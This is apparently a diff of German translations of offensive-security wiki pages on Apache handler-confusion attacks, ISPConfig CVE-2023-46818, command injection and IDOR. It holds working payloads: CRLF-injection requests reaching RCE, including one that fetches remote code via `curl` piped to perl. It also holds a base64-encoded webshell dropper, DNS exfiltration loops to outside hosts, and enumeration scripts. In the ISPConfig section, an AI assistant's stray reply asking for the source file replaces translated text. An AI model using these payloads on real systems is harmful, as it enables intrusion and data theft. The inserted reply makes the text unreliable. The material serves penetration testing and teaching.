- **Cacti Log**: `/usr/share/cacti/site/` -> `/var/log/cacti/`
|
||||
- **Solr Data**: `/usr/share/solr/data/` -> `/var/lib/solr/data`
|
||||
@ -186,26 +186,25 @@ Es ist außerdem möglich, aus den erlaubten Ordnern auszubrechen, indem man Sym
|
||||
- **MediaWiki Config**: `/usr/share/mediawiki/config/` -> `/var/lib/mediawiki/config/`
|
||||
- **SimpleSAMLphp Config**: `/usr/share/simplesamlphp/config/` -> `/etc/simplesamlphp/`
|
||||
|
||||
Außerdem war es durch das Ausnutzen von Symlinks möglich, **RCE in Redmine** zu erlangen.
|
||||
Außerdem war es durch Missbrauch von Symlinks möglich, **RCE in Redmine** zu erhalten.
|
||||
|
||||
### Handler-Verwirrung <a href="#id-3-handler-confusion" id="id-3-handler-confusion"></a>
|
||||
### Handler Confusion <a href="#id-3-handler-confusion" id="id-3-handler-confusion"></a>
|
||||
|
||||
Dieser Angriff nutzt die Überschneidung der Funktionalität zwischen den Direktiven `AddHandler` und `AddType`, die beide verwendet werden können, um **PHP-Verarbeitung** zu aktivieren. Ursprünglich betrafen diese Direktiven unterschiedliche Felder (`r->handler` bzw. `r->content_type`) in der internen Serverstruktur. Aufgrund von Legacy-Code behandelt Apache diese Direktiven jedoch unter bestimmten Bedingungen austauschbar und konvertiert `r->content_type` in `r->handler`, falls ersteres gesetzt ist und letzteres nicht.
|
||||
Dieser Angriff nutzt die Überschneidung der Funktionalität zwischen den Direktiven **AddHandler** und **AddType**, die beide verwendet werden können, um PHP-Verarbeitung zu ermöglichen. Ursprünglich betrafen diese Direktiven unterschiedliche Felder (resp. **r->handler** und **r->content_type**) in der internen Serverstruktur. Aufgrund von Legacy-Code behandelt Apache diese Direktiven jedoch unter bestimmten Bedingungen austauschbar, indem **r->content_type** in **r->handler** umgewandelt wird, falls ersteres gesetzt ist und letzteres nicht.
|
||||
|
||||
Außerdem verwendet der Apache HTTP Server (`server/config.c#L420`) `r->content_type` als Handler, falls `r->handler` vor dem Aufruf von `ap_run_handler()` leer ist, wodurch `AddType` und `AddHandler` effektiv die gleiche Wirkung haben.
|
||||
Außerdem, im Apache HTTP Server (`server/config.c#L420`), wenn **r->handler** vor dem Aufruf von **ap_run_handler()** leer ist, verwendet der Server **r->content_type** als Handler, wodurch **AddType** und **AddHandler** praktisch dieselbe Wirkung haben.
|
||||
|
||||
#### **Handler überschreiben, um PHP-Quellcode offenzulegen**
|
||||
#### **Overwrite Handler to Disclose PHP Source Code**
|
||||
|
||||
In [**diesem Vortrag**](https://web.archive.org/web/20210909012535/https://zeronights.ru/wp-content/uploads/2021/09/013_dmitriev-maksim.pdf) wurde eine Schwachstelle vorgestellt, bei der ein vom Client gesendeter falscher `Content-Length` dazu führen kann, dass Apache fälschlicherweise **den PHP-Quellcode zurückgibt**. Ursache war ein Fehler im Error-Handling mit ModSecurity und dem Apache Portable Runtime (APR), bei dem eine doppelte Antwort dazu führt, dass `r->content_type` auf `text/html` überschrieben wird.\
|
||||
Weil ModSecurity Rückgabewerte nicht korrekt behandelt, würde es den PHP-Code zurückgeben und nicht interpretieren.
|
||||
In [**this talk**](https://web.archive.org/web/20210909012535/https://zeronights.ru/wp-content/uploads/2021/09/013_dmitriev-maksim.pdf) wurde eine Schwachstelle vorgestellt, bei der eine falsche `Content-Length`, die ein Client sendet, dazu führen kann, dass Apache irrtümlich den PHP-Quellcode zurückgibt. Dies lag an einem Fehler im Fehlerhandling mit ModSecurity und dem Apache Portable Runtime (APR), bei dem eine doppelte Antwort dazu führt, dass **r->content_type** auf `text/html` überschrieben wird.\ Weil ModSecurity Rückgabewerte nicht korrekt behandelt, würde es den PHP-Code zurückgeben und ihn nicht interpretieren.
|
||||
|
||||
#### **Handler überschreiben zu XXXX**
|
||||
#### **Overwrite Handler to XXXX**
|
||||
|
||||
TODO: Orange hat diese Schwachstelle noch nicht offengelegt
|
||||
TODO: Orange hat diese Schwachstelle noch nicht bekanntgegeben
|
||||
|
||||
### **Beliebige Handler aufrufen**
|
||||
### **Invoke Arbitrary Handlers**
|
||||
|
||||
Wenn ein Angreifer in der Lage ist, den Header `Content-Type` in einer Serverantwort zu kontrollieren, kann er **beliebige Modul-Handler aufrufen**. Bis zu dem Zeitpunkt, an dem der Angreifer dies kontrolliert, ist jedoch der Großteil der Anfrageverarbeitung bereits erfolgt. Es ist allerdings möglich, den Anfrageprozess durch Missbrauch des `Location`-Headers neu zu starten, denn wenn der zurückgegebene `Status` 200 ist und der `Location`-Header mit einem `/` beginnt, wird die Antwort als Server-seitige Umleitung behandelt und erneut verarbeitet.
|
||||
Wenn ein Angreifer die **`Content-Type`**-Header einer Serverantwort kontrollieren kann, wird er beliebige Modul-Handler aufrufen können. Zu dem Zeitpunkt, an dem der Angreifer dies kontrolliert, ist jedoch bereits der Großteil der Anfrageverarbeitung abgeschlossen. Es ist jedoch möglich, den Anfrageprozess durch Missbrauch des **`Location`**-Headers neu zu starten, denn wenn der zurückgegebene `Status` 200 ist und der `Location`-Header mit einem `/` beginnt, wird die Antwort als serverseitige Umleitung behandelt und erneut verarbeitet
|
||||
|
||||
According to [RFC 3875](https://datatracker.ietf.org/doc/html/rfc3875) (specification about CGI) in [Section 6.2.2](https://datatracker.ietf.org/doc/html/rfc3875#section-6.2.2) defines a Local Redirect Response behavior:
|
||||
|
||||
@ -214,18 +213,18 @@ According to [RFC 3875](https://datatracker.ietf.org/doc/html/rfc3875) (specific
|
||||
Um diesen Angriff durchzuführen, wird eine der folgenden Schwachstellen benötigt:
|
||||
|
||||
- CRLF Injection in the CGI response headers
|
||||
- SSRF mit vollständiger Kontrolle über die response headers
|
||||
- SSRF with complete control of the response headers
|
||||
|
||||
#### **Beliebiger Handler für Information Disclosure**
|
||||
#### **Arbitrary Handler to Information Disclosure**
|
||||
|
||||
Beispielsweise sollte `/server-status` nur lokal zugänglich sein:
|
||||
Zum Beispiel sollte **/server-status** nur lokal zugänglich sein:
|
||||
```xml
|
||||
<Location /server-status>
|
||||
SetHandler server-status
|
||||
Require local
|
||||
</Location>
|
||||
```
|
||||
Es ist möglich, darauf zuzugreifen, indem man den `Content-Type` auf `server-status` setzt und den Location-Header mit `/` beginnen lässt.
|
||||
Es ist möglich, darauf zuzugreifen, indem man `Content-Type` auf `server-status` setzt und den Location-Header so setzt, dass er mit `/` beginnt.
|
||||
```
|
||||
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
|
||||
Location:/ooo %0d%0a
|
||||
@ -234,7 +233,7 @@ Content-Type:server-status %0d%0a
|
||||
```
|
||||
#### **Beliebiger Handler zu vollständigem SSRF**
|
||||
|
||||
Weiterleitung an `mod_proxy`, um auf jedes Protokoll jeder URL zuzugreifen:
|
||||
Weiterleitung an `mod_proxy`, um auf jedes Protokoll bei jeder URL zuzugreifen:
|
||||
```
|
||||
http://server/cgi-bin/redir.cgi?r=http://%0d%0a
|
||||
Location:/ooo %0d%0a
|
||||
@ -243,11 +242,11 @@ http://example.com/%3F
|
||||
%0d%0a
|
||||
%0d%0a
|
||||
```
|
||||
Allerdings wird der `X-Forwarded-For`-Header hinzugefügt, wodurch der Zugriff auf Cloud-Metadaten-Endpunkte verhindert wird.
|
||||
Allerdings wird der Header `X-Forwarded-For` hinzugefügt, was den Zugriff auf Cloud-Metadaten-Endpunkte verhindert.
|
||||
|
||||
#### **Arbitrary Handler to Access Local Unix Domain Socket**
|
||||
#### **Beliebiger Handler zum Zugriff auf lokale Unix Domain Socket**
|
||||
|
||||
Zugriff auf den lokalen Unix Domain Socket von PHP-FPM, um eine PHP backdoor im Verzeichnis `/tmp/` auszuführen:
|
||||
Greife auf den lokalen Unix Domain Socket von PHP-FPM zu, um eine in `/tmp/` abgelegte PHP-Backdoor auszuführen:
|
||||
```
|
||||
http://server/cgi-bin/redir.cgi?r=http://%0d%0a
|
||||
Location:/ooo %0d%0a
|
||||
@ -256,7 +255,7 @@ Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/tmp/ooo.php %0d%0
|
||||
```
|
||||
#### **Arbitrary Handler to RCE**
|
||||
|
||||
Das offizielle [PHP Docker](https://hub.docker.com/_/php) Image enthält PEAR (`Pearcmd.php`), ein Kommandozeilen-Tool zur Verwaltung von PHP-Paketen, das missbraucht werden kann, um RCE zu erlangen:
|
||||
Das offizielle [PHP Docker](https://hub.docker.com/_/php) Image enthält PEAR (`Pearcmd.php`), ein Kommandozeilen-PHP-Paketverwaltungs-Tool, das missbraucht werden kann, um RCE zu erlangen:
|
||||
```
|
||||
http://server/cgi-bin/redir.cgi?r=http://%0d%0a
|
||||
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}
|
||||
@ -265,9 +264,9 @@ orange.tw/x|perl
|
||||
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
|
||||
%0d%0a
|
||||
```
|
||||
Siehe [**Docker PHP LFI Summary**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), geschrieben von [Phith0n](https://x.com/phithon_xg) für Details dieser Technik.
|
||||
Siehe [**Docker PHP LFI Summary**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), geschrieben von [Phith0n](https://x.com/phithon_xg) für Details zu dieser Technik.
|
||||
|
||||
## Referenzen
|
||||
## Quellen
|
||||
|
||||
- [https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)
|
||||
- [Apache 2.4 Custom Error Responses (ErrorDocument)](https://httpd.apache.org/docs/2.4/custom-error.html)
|
||||
|
@ -2,38 +2,38 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Übersicht
|
||||
## Überblick
|
||||
|
||||
ISPConfig ist ein Open-Source-Hosting-Control-Panel. Ältere 3.2.x-Builds enthielten eine Language-File-Editor-Funktion, die, wenn sie für den Super-Administrator aktiviert war, das Einschleusen beliebigen PHP-Codes über einen fehlerhaften Übersetzungsdatensatz erlaubte. Dies kann RCE im Webserver-Kontext ermöglichen und — je nachdem, wie PHP ausgeführt wird — zur Privilegieneskalation führen.
|
||||
ISPConfig ist ein Open-Source-Hosting-Control-Panel. Ältere 3.2.x-Builds enthielten eine Sprachdatei-Editor-Funktion, die, wenn sie für den Super-Administrator aktiviert war, über einen fehlerhaften Übersetzungsdatensatz beliebige PHP-Code-Injektion erlaubte. Dies kann RCE im Webserver-Kontext ermöglichen und — je nachdem, wie PHP ausgeführt wird — zur Rechteeskalation führen.
|
||||
|
||||
Wichtige Standardpfade:
|
||||
- Webroot befindet sich häufig unter `/var/www/ispconfig`, wenn mit `php -S` oder via Apache/nginx ausgeliefert.
|
||||
- Admin-UI erreichbar auf dem HTTP(S) vhost (manchmal nur an localhost gebunden; bei Bedarf SSH-Port-Forward verwenden).
|
||||
- Das Web-Root befindet sich oft unter `/var/www/ispconfig`, wenn es mit `php -S` oder über Apache/nginx ausgeliefert wird.
|
||||
- Die Admin-UI ist im HTTP(S)-vhost erreichbar (manchmal nur an localhost gebunden; verwende bei Bedarf eine SSH-Portweiterleitung).
|
||||
|
||||
Tipp: Wenn das Panel lokal gebunden ist (z. B. `127.0.0.1:8080`), per SSH-Port-Forward weiterleiten:
|
||||
Tipp: Wenn das Panel lokal gebunden ist (z. B. `127.0.0.1:8080`), weiterleiten:
|
||||
```bash
|
||||
ssh -L 9001:127.0.0.1:8080 user@target
|
||||
# then browse http://127.0.0.1:9001
|
||||
```
|
||||
## Language editor PHP code injection (CVE-2023-46818)
|
||||
## Spracheditor PHP code injection (CVE-2023-46818)
|
||||
|
||||
- Betroffen: ISPConfig up to 3.2.11 (fixed in 3.2.11p1)
|
||||
- Betroffen: ISPConfig bis 3.2.11 (behoben in 3.2.11p1)
|
||||
- Voraussetzungen:
|
||||
- Einloggen als das eingebaute Superadmin-Konto `admin` (andere Rollen sind laut Hersteller nicht betroffen)
|
||||
- Der Language-Editor muss aktiviert sein: `admin_allow_langedit=yes` in `/usr/local/ispconfig/security/security_settings.ini`
|
||||
- Auswirkung: Authentifizierter Admin kann beliebigen PHP-Code injizieren, der in eine Sprachdatei geschrieben und von der Anwendung ausgeführt wird, wodurch RCE im Web-Kontext erreicht wird
|
||||
- Login mit dem eingebauten Superadmin-Account `admin` (anderen Rollen sind laut Vendor nicht betroffen)
|
||||
- Language editor muss aktiviert sein: `admin_allow_langedit=yes` in `/usr/local/ispconfig/security/security_settings.ini`
|
||||
- Impact: Authenticated admin kann beliebiges PHP injizieren, das in eine Sprachdatei geschrieben und von der Anwendung ausgeführt wird, wodurch RCE im Web-Kontext erreicht wird
|
||||
|
||||
Referenzen: NVD-Eintrag CVE-2023-46818 und der Advisory-Link des Herstellers in der Referenzen-Sektion weiter unten.
|
||||
References: NVD entry CVE-2023-46818 and vendor advisory link in the References section below.
|
||||
|
||||
### Manueller Exploit-Ablauf
|
||||
|
||||
1) Öffnen/Erstellen einer Sprachdatei, um CSRF-Tokens zu erhalten
|
||||
|
||||
Sende eine erste POST-Anfrage, um das Formular zu initialisieren und die CSRF-Felder aus der HTML-Antwort zu parsen (`csrf_id`, `csrf_key`). Beispiel Anfrangepfad: `/admin/language_edit.php`.
|
||||
Sende einen ersten POST, um das Formular zu initialisieren und parse die CSRF-Felder aus der HTML-Antwort (`csrf_id`, `csrf_key`). Beispiel Request-Pfad: `/admin/language_edit.php`.
|
||||
|
||||
2) PHP über records[] injizieren und speichern
|
||||
|
||||
Sende eine zweite POST-Anfrage, die die CSRF-Felder und einen bösartigen Übersetzungseintrag enthält. Minimale Kommando-Ausführungs-Proben:
|
||||
Sende einen zweiten POST, der die CSRF-Felder und einen bösartigen Übersetzungseintrag enthält. Minimal command-execution probes:
|
||||
```http
|
||||
POST /admin/language_edit.php HTTP/1.1
|
||||
Host: 127.0.0.1:9001
|
||||
@ -48,23 +48,23 @@ records[]=<?php echo shell_exec('ping -c 1 10.10.14.6'); ?>
|
||||
```
|
||||
3) Dateien schreiben und eine webshell ablegen
|
||||
|
||||
Verwende `file_put_contents`, um eine Datei unter einem web-erreichbaren Pfad (z. B. `admin/`) zu erstellen:
|
||||
Verwende `file_put_contents`, um eine Datei unter einem vom Web erreichbaren Pfad (z. B. `admin/`) zu erstellen:
|
||||
```http
|
||||
records[]=<?php file_put_contents('admin/pwn.txt','owned'); ?>
|
||||
```
|
||||
Dann schreibe eine einfache webshell, die base64 verwendet, um unerwünschte Zeichen im POST-Body zu vermeiden:
|
||||
Schreibe dann eine einfache webshell, die base64 verwendet, um problematische Zeichen im POST-Body zu vermeiden:
|
||||
```http
|
||||
records[]=<?php file_put_contents('admin/shell.php', base64_decode('PD9waHAgc3lzdGVtKCRfUkVRVUVTVFsiY21kIl0pIDsgPz4K')); ?>
|
||||
```
|
||||
Bitte den Inhalt der Datei src/network-services-pentesting/pentesting-web/ispconfig.md hier einfügen (oder als Datei hochladen). Sobald ich den Text habe, übersetze ich ihn ins Deutsche und bewahre dabei exakt die Markdown-/HTML-Syntax, Links, Pfade, Tags und Code unverändert.
|
||||
Ich habe keinen Zugriff auf deine lokale Datei. Bitte füge den Inhalt von src/network-services-pentesting/pentesting-web/ispconfig.md hier ein (oder lade die Datei hoch), dann übersetze ich den relevanten englischen Text ins Deutsche unter Beibehaltung sämtlicher Markdown-/HTML-Syntax und der genannten Ausnahmen. Möchtest du die gesamte Datei oder nur bestimmte Abschnitte übersetzt haben?
|
||||
```bash
|
||||
curl 'http://127.0.0.1:9001/admin/shell.php?cmd=id'
|
||||
```
|
||||
Wenn PHP als root ausgeführt wird (z. B. via `php -S 127.0.0.1:8080`, als root gestartet), führt das zu sofortiger root RCE. Andernfalls erhält man Codeausführung als Webserver-Benutzer.
|
||||
Wenn PHP als root ausgeführt wird (z. B. via `php -S 127.0.0.1:8080`, von root gestartet), führt das sofort zu root RCE. Andernfalls erhält man Codeausführung als Benutzer des Webservers.
|
||||
|
||||
### Python PoC
|
||||
|
||||
Ein sofort einsetzbares exploit automatisiert das Token-Handling und die Payload-Auslieferung:
|
||||
Ein gebrauchsfertiger Exploit automatisiert token handling und payload delivery:
|
||||
- [https://github.com/bipbopbup/CVE-2023-46818-python-exploit](https://github.com/bipbopbup/CVE-2023-46818-python-exploit)
|
||||
|
||||
Beispielausführung:
|
||||
@ -73,12 +73,12 @@ python3 cve-2023-46818.py http://127.0.0.1:9001 admin <password>
|
||||
```
|
||||
### Härtung
|
||||
|
||||
- Upgrade auf 3.2.11p1 oder neuer
|
||||
- Auf 3.2.11p1 oder neuer aktualisieren
|
||||
- Deaktivieren Sie den Spracheditor, sofern nicht unbedingt erforderlich:
|
||||
```
|
||||
admin_allow_langedit=no
|
||||
```
|
||||
- Führe das Panel nicht als root aus; konfiguriere PHP-FPM oder den Webserver so, dass die Privilegien reduziert werden
|
||||
- Vermeide, das Panel als root auszuführen; konfiguriere PHP-FPM oder den Webserver so, dass Privilegien abgesenkt werden
|
||||
- Erzwinge starke Authentifizierung für das eingebaute `admin`-Konto
|
||||
|
||||
## Referenzen
|
||||
|
@ -4,11 +4,11 @@
|
||||
|
||||
## Was ist command Injection?
|
||||
|
||||
Eine **command injection** ermöglicht einem Angreifer die Ausführung beliebiger Betriebssystembefehle auf dem Server, der eine Anwendung hostet. Infolgedessen kann die Anwendung und alle ihre Daten vollständig kompromittiert werden. Die Ausführung dieser Befehle erlaubt dem Angreifer typischerweise, unautorisierten Zugriff oder Kontrolle über die Umgebung der Anwendung und das zugrunde liegende System zu erlangen.
|
||||
Eine **command injection** erlaubt einem Angreifer die Ausführung beliebiger Betriebssystembefehle auf dem Server, der eine Anwendung hostet. Infolgedessen können die Anwendung und alle ihre Daten vollständig kompromittiert werden. Die Ausführung dieser Befehle ermöglicht dem Angreifer typischerweise, unautorisierten Zugriff auf die Umgebung der Anwendung und das zugrundeliegende System zu erlangen oder Kontrolle darüber zu übernehmen.
|
||||
|
||||
### Kontext
|
||||
|
||||
Je nachdem, **wo Ihre Eingabe injiziert wird**, müssen Sie möglicherweise den **zitierten Kontext beenden** (mit `"` oder `'`) bevor Sie die Befehle ausführen.
|
||||
Je nachdem, **wo deine Eingabe eingefügt wird**, musst du möglicherweise den **in Anführungszeichen stehenden Kontext beenden** (mit `"` oder `'`), bevor die Befehle ausgeführt werden.
|
||||
|
||||
## Command Injection/Execution
|
||||
```bash
|
||||
@ -32,7 +32,7 @@ ls${LS_COLORS:10:1}${IFS}id # Might be useful
|
||||
```
|
||||
### **Limition** Bypasses
|
||||
|
||||
Wenn du versuchst, **arbitrary commands inside a linux machine** auszuführen, solltest du dir diese **Bypasses** ansehen:
|
||||
Wenn Sie versuchen, **beliebige Befehle auf einer linux-Maschine** auszuführen, sollten Sie sich diese **Bypasses** ansehen:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -47,7 +47,7 @@ vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod
|
||||
```
|
||||
### Parameter
|
||||
|
||||
Hier sind die Top 25 Parameter, die anfällig für code injection und ähnliche RCE-Schwachstellen sein könnten (von [link](https://twitter.com/trbughunters/status/1283133356922884096)):
|
||||
Hier sind die Top-25-Parameter, die für code injection und ähnliche RCE-Schwachstellen anfällig sein könnten (aus [link](https://twitter.com/trbughunters/status/1283133356922884096)):
|
||||
```
|
||||
?cmd={payload}
|
||||
?exec={payload}
|
||||
@ -91,7 +91,7 @@ sys 0m0.000s
|
||||
```
|
||||
### DNS based data exfiltration
|
||||
|
||||
Basierend auf dem Tool von `https://github.com/HoLyVieR/dnsbin`, auch gehostet unter dnsbin.zhack.ca
|
||||
Basierend auf dem Tool von `https://github.com/HoLyVieR/dnsbin`, ebenfalls gehostet unter dnsbin.zhack.ca
|
||||
```
|
||||
1. Go to http://dnsbin.zhack.ca/
|
||||
2. Execute a simple 'ls'
|
||||
@ -101,12 +101,12 @@ for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
|
||||
```
|
||||
$(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)
|
||||
```
|
||||
Online-Tools zur Überprüfung auf DNS-basierte Datenexfiltration:
|
||||
Online-Tools zur Überprüfung von DNS-basierter Datenexfiltration:
|
||||
|
||||
- dnsbin.zhack.ca
|
||||
- pingb.in
|
||||
|
||||
### Umgehung von Filtern
|
||||
### Filtering bypass
|
||||
|
||||
#### Windows
|
||||
```
|
||||
@ -122,7 +122,7 @@ powershell C:**2\n??e*d.*? # notepad
|
||||
|
||||
### Node.js `child_process.exec` vs `execFile`
|
||||
|
||||
Beim Audit von JavaScript/TypeScript-Backends begegnet man häufig der Node.js `child_process`-API.
|
||||
Beim Audit von JavaScript/TypeScript-Backends stößt man häufig auf die Node.js `child_process`-API.
|
||||
```javascript
|
||||
// Vulnerable: user-controlled variables interpolated inside a template string
|
||||
const { exec } = require('child_process');
|
||||
@ -130,7 +130,7 @@ exec(`/usr/bin/do-something --id_user ${id_user} --payload '${JSON.stringify(pay
|
||||
/* … */
|
||||
});
|
||||
```
|
||||
`exec()` startet eine **shell** (`/bin/sh -c`), daher führt jedes Zeichen, das für die shell eine besondere Bedeutung hat (back-ticks, `;`, `&&`, `|`, `$()`, …), zu **command injection**, wenn Benutzereingaben in den String eingefügt werden.
|
||||
`exec()` startet eine **shell** (`/bin/sh -c`), daher führt jedes Zeichen, das für die shell eine spezielle Bedeutung hat (back-ticks, `;`, `&&`, `|`, `$()`, …) zu **command injection**, wenn Benutzereingaben in den String eingefügt werden.
|
||||
|
||||
**Gegenmaßnahme:** Verwende `execFile()` (oder `spawn()` ohne die `shell`-Option) und übergebe **jedes Argument als separates Array-Element**, damit keine shell beteiligt ist:
|
||||
```javascript
|
||||
@ -140,9 +140,9 @@ execFile('/usr/bin/do-something', [
|
||||
'--payload', JSON.stringify(payload)
|
||||
]);
|
||||
```
|
||||
Praxisfall: *Synology Photos* ≤ 1.7.0-0794 war über ein nicht authentifiziertes WebSocket-Ereignis angreifbar, das vom Angreifer kontrollierte Daten in `id_user` platzierte, welche später in einem `exec()`-Aufruf eingebettet wurden und RCE ermöglichten (Pwn2Own Ireland 2024).
|
||||
Echter Fall: *Synology Photos* ≤ 1.7.0-0794 war über ein unauthentifiziertes WebSocket-Ereignis ausnutzbar, das vom Angreifer kontrollierte Daten in `id_user` platzierte, die später in einem `exec()`-Aufruf eingebettet wurden und RCE ermöglichten (Pwn2Own Ireland 2024).
|
||||
|
||||
## Brute-Force-Erkennungs-Liste
|
||||
## Brute-Force Erkennungsliste
|
||||
|
||||
|
||||
{{#ref}}
|
||||
|
@ -2,21 +2,21 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA) tritt auf, wenn ein Web- oder API-Endpunkt einen vom Benutzer kontrollierbaren Identifikator offenlegt oder akzeptiert, der **direkt** verwendet wird, um auf ein internes Objekt zuzugreifen, **ohne zu prüfen, ob der Aufrufer berechtigt** ist, auf dieses Objekt zuzugreifen/es zu ändern.
|
||||
Eine erfolgreiche Ausnutzung ermöglicht normalerweise horizontale oder vertikale Privilegieneskalation, wie z. B. das Lesen oder Ändern von Daten anderer Benutzer und im schlimmsten Fall die vollständige Übernahme von Konten oder massenhafte Datenexfiltration.
|
||||
IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA) tritt auf, wenn ein web- oder API-endpoint einen vom Benutzer kontrollierbaren Identifikator offenlegt oder akzeptiert, der **direkt** verwendet wird, um auf ein internes Objekt zuzugreifen, **ohne zu prüfen, ob der Aufrufer berechtigt** ist, auf dieses Objekt zuzugreifen oder es zu ändern.
|
||||
Eine erfolgreiche Ausnutzung erlaubt normalerweise horizontale oder vertikale Privilegieneskalation, wie z. B. das Lesen oder Verändern von Daten anderer Benutzer und im schlimmsten Fall vollständige Kontoübernahme oder massenhafte Datenexfiltration.
|
||||
|
||||
---
|
||||
## 1. Identifizierung potenzieller IDORs
|
||||
## 1. Potenzielle IDORs identifizieren
|
||||
|
||||
1. Achten Sie auf **Parameter, die auf ein Objekt verweisen**:
|
||||
* Pfad: `/api/user/1234`, `/files/550e8400-e29b-41d4-a716-446655440000`
|
||||
* Abfrage: `?id=42`, `?invoice=2024-00001`
|
||||
1. Suchen Sie nach **Parametern, die auf ein Objekt verweisen**:
|
||||
* Path: `/api/user/1234`, `/files/550e8400-e29b-41d4-a716-446655440000`
|
||||
* Query: `?id=42`, `?invoice=2024-00001`
|
||||
* Body / JSON: `{"user_id": 321, "order_id": 987}`
|
||||
* Header / Cookies: `X-Client-ID: 4711`
|
||||
2. Bevorzugen Sie Endpunkte, die Daten **lesen oder aktualisieren** (`GET`, `PUT`, `PATCH`, `DELETE`).
|
||||
3. Achten Sie darauf, ob Identifikatoren **sequenziell oder vorhersehbar** sind – wenn Ihre ID `64185742` ist, existiert wahrscheinlich `64185741`.
|
||||
4. Untersuchen Sie versteckte oder alternative Flows (z. B. *"Paradox team members"* Link auf Login-Seiten), die zusätzliche APIs offenlegen könnten.
|
||||
5. Verwenden Sie eine **authentifizierte Session mit niedrigen Rechten** und ändern Sie nur die ID, während Sie **denselben Token/Cookie** beibehalten. Das Ausbleiben eines Autorisierungsfehlers ist gewöhnlich ein Anzeichen für einen IDOR.
|
||||
* Headers / Cookies: `X-Client-ID: 4711`
|
||||
2. Bevorzugen Sie Endpoints, die Daten **lesen oder aktualisieren** (`GET`, `PUT`, `PATCH`, `DELETE`).
|
||||
3. Achten Sie darauf, wenn Identifikatoren **sequenziell oder vorhersagbar** sind – wenn Ihre ID `64185742` ist, existiert wahrscheinlich `64185741`.
|
||||
4. Untersuchen Sie versteckte oder alternative Flows (z. B. den Link *"Paradox team members"* auf Login-Seiten), die zusätzliche APIs offenlegen könnten.
|
||||
5. Verwenden Sie eine **authentifizierte Session mit geringen Rechten** und ändern Sie nur die ID, **während Sie denselben token/cookie beibehalten**. Das Ausbleiben eines Autorisierungsfehlers ist normalerweise ein Zeichen für IDOR.
|
||||
|
||||
### Schnelles manuelles Manipulieren (Burp Repeater)
|
||||
```
|
||||
@ -27,7 +27,7 @@ Content-Type: application/json
|
||||
|
||||
{"lead_id":64185741}
|
||||
```
|
||||
### Automatisierte enumeration (Burp Intruder / curl loop)
|
||||
### Automatisierte Enumeration (Burp Intruder / curl loop)
|
||||
```bash
|
||||
for id in $(seq 64185742 64185700); do
|
||||
curl -s -X PUT 'https://www.example.com/api/lead/cem-xhr' \
|
||||
@ -36,62 +36,60 @@ curl -s -X PUT 'https://www.example.com/api/lead/cem-xhr' \
|
||||
-d '{"lead_id":'"$id"'}' | jq -e '.email' && echo "Hit $id";
|
||||
done
|
||||
```
|
||||
---
|
||||
### Error-response oracle für Benutzer-/Datei-Enumeration
|
||||
|
||||
### Error-response oracle for user/file enumeration
|
||||
|
||||
Wenn ein Download-Endpunkt sowohl einen Benutzernamen als auch einen Dateinamen akzeptiert (z. B. `/view.php?username=<u>&file=<f>`), erzeugen subtile Unterschiede in Fehlermeldungen oft ein Oracle:
|
||||
Wenn ein Download-Endpunkt sowohl einen username als auch einen filename akzeptiert (z. B. `/view.php?username=<u>&file=<f>`), führen subtile Unterschiede in Fehlermeldungen oft zu einem Oracle:
|
||||
|
||||
- Nicht existierender username → "User not found"
|
||||
- Ungültiger filename, aber gültige Extension → "File does not exist" (listet manchmal auch verfügbare Dateien auf)
|
||||
- Ungültige Extension → Validierungsfehler
|
||||
- Fehlerhafter filename, aber gültige Extension → "File does not exist" (manchmal listet es auch verfügbare Dateien auf)
|
||||
- Fehlerhafte Extension → Validierungsfehler
|
||||
|
||||
Mit einer authentifizierten Sitzung kannst du den username-Parameter mit Fuzzing testen, während du einen harmlosen Dateinamen angibst, und nach der Zeichenfolge "User not found" filtern, um gültige Benutzer zu entdecken:
|
||||
Mit jeder authentifizierten Sitzung kannst du den username-Parameter fuzzen, während du einen harmlosen filename setzt, und auf den "user not found"-String filtern, um gültige Benutzer zu entdecken:
|
||||
```bash
|
||||
ffuf -u 'http://target/view.php?username=FUZZ&file=test.doc' \
|
||||
-b 'PHPSESSID=<session-cookie>' \
|
||||
-w /opt/SecLists/Usernames/Names/names.txt \
|
||||
-fr 'User not found'
|
||||
```
|
||||
Sobald gültige Benutzernamen identifiziert sind, fordere spezifische Dateien direkt an (z. B. `/view.php?username=amanda&file=privacy.odt`). Dieses Muster führt häufig zur unbefugten Offenlegung von Dokumenten anderer Benutzer und zum Leak von Zugangsdaten.
|
||||
Sobald gültige Benutzernamen identifiziert sind, fordere bestimmte Dateien direkt an (z. B. `/view.php?username=amanda&file=privacy.odt`). Dieses Muster führt häufig zur unbefugten Offenlegung von Dokumenten anderer Benutzer und zur Preisgabe von Zugangsdaten.
|
||||
|
||||
---
|
||||
## 2. Fallstudie aus der Praxis – McHire Chatbot Platform (2025)
|
||||
## 2. Praxisfallstudie – McHire Chatbot-Plattform (2025)
|
||||
|
||||
Während einer Bewertung des Paradox.ai-gestützten **McHire** Recruitment-Portals wurde die folgende IDOR entdeckt:
|
||||
Während einer Bewertung des von Paradox.ai betriebenen **McHire** Recruiting-Portals wurde die folgende IDOR entdeckt:
|
||||
|
||||
* Endpunkt: `PUT /api/lead/cem-xhr`
|
||||
* Authorisierung: Session-Cookie eines Benutzers für **jedes** Restaurant-Testkonto
|
||||
* Body-Parameter: `{"lead_id": N}` – 8-stellig, **sequentiell** numerischer Identifier
|
||||
* Endpoint: `PUT /api/lead/cem-xhr`
|
||||
* Authorization: User-Session-Cookie für **jedes** Restaurant-Testkonto
|
||||
